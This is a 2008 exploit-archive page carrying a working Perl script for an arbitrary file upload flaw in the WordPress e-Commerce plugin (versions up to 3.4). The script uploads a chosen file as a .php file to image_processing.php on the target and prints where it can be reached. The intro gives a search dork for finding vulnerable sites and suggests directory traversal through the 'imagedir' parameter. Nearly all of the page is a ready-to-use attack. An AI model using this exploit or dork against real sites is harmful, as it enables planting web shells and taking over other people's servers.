Wordpress Plugin e-Commerce <= 3.4 Arbitrary File Upload Exploit

2008-10-29 17:01:05

#!/usr/bin/perl

use warnings;
use strict;
use LWP::UserAgent;
use HTTP::Request::Common;

my $fname = rand(99999) . ".php"; # no int()

print <<INTRO; # messy print i know..
- Wordpress Plugin e-Commerce <= 3.4 Arbitrary File Upload -
Discovered && Coded by: t0pP8uZz
Discovered on: 20 October 2008

Theres no current vulnerabilitys for this plugin, but the
vulnerability explained here no longer exists in the later
versions of the plugin, due to a code rewrite.

In testing this vulnerability, i wrote a scraping content
program, and found ALOT of vulnerable sites.

This exploit will upload a selected file to the...
... /wp-content/plugins/wp-shopping-cart/ directory.

If the directory is not writable (rare cases) you can
mod this exploit and use the insecure GET variable
"imagedir" to directory traversal.. so you can upload
in diffrent directorys.

Contact: irc.rizon.net #sectalk

Dork: inurl:"/wp-content/plugins/wp-shopping-cart/"

INTRO

print "\nEnter URL(ie: http://site.com/mambo): ";
chomp(my $url=<STDIN>);

print "\nEnter File Path(path to local file to upload): ";
chomp(my $file=<STDIN>);

my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url . '/wp-content/plugins/wp-shopping-cart/image_processing.php',
Content_Type => 'form-data',
Content => [ Submit => "Add", image => [ $file, $fname, Content_Type => 'plain/text' ], ] );

die "Exploit Failed: HTTP POST Failed!" unless $re->is_success;

if($re->content =~ /Fatal error/i) {
print "Complete! To see if exploit was successfull visit the following URL for your uploaded file.\n";
print "Uploaded File: " . $url . "/wp-content/plugins/wp-shopping-cart/" . $fname . "\n";
} else
{
print "Exploit Failed! Target host not vulnerable!\n";
}
exit;

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.